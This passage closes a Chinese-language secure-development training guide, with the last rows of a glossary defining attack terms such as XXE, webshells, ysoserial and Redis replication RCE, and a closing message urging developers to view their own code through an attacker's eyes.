| TOCTOU | 检查和使用之间的时间差漏洞 | 5.4 |
| UDF | MySQL 用户自定义函数(可提权) | 7.2.2 |
| VEX | 漏洞影响声明(“这个 CVE 对我无害”) | 6.8.2 |
| Webshell | 放在 Web 目录的恶意脚本 | 7.1.6 |
| XXE | XML 外部实体注入 | 6.1.1 |
| ysoserial | 反序列化 payload 生成器 | 6.2.5 |
| 十亿笑 | 嵌套实体导致的内存爆炸 DoS | 6.1.3 |
| 主从复制 RCE | 伪造 Redis 主库投递恶意模块 | 7.1.7 |
| 纵向/横向移动 | 逃逸到宿主机 / 打其他机器 | 8.3.6 |
文档结束。
如果你从头做到这里,你现在手里有: 9 章实验、40+ 个可复现的攻击、20+ 份复测脚本、1 份上线 Checklist、1 套应急手册。
但最重要的不是这些脚本,而是你已经开始用攻击者的眼睛看自己的代码了。 从今天起,你写
Runtime.exec(cmd)时手会抖, 看到new URL(userInput)会本能地想“这里能不能打 SSRF”, 看到automountServiceAccountToken会先想“这个 Pod 真的需要吗”。这种条件反射,才是这份文档真正的价值。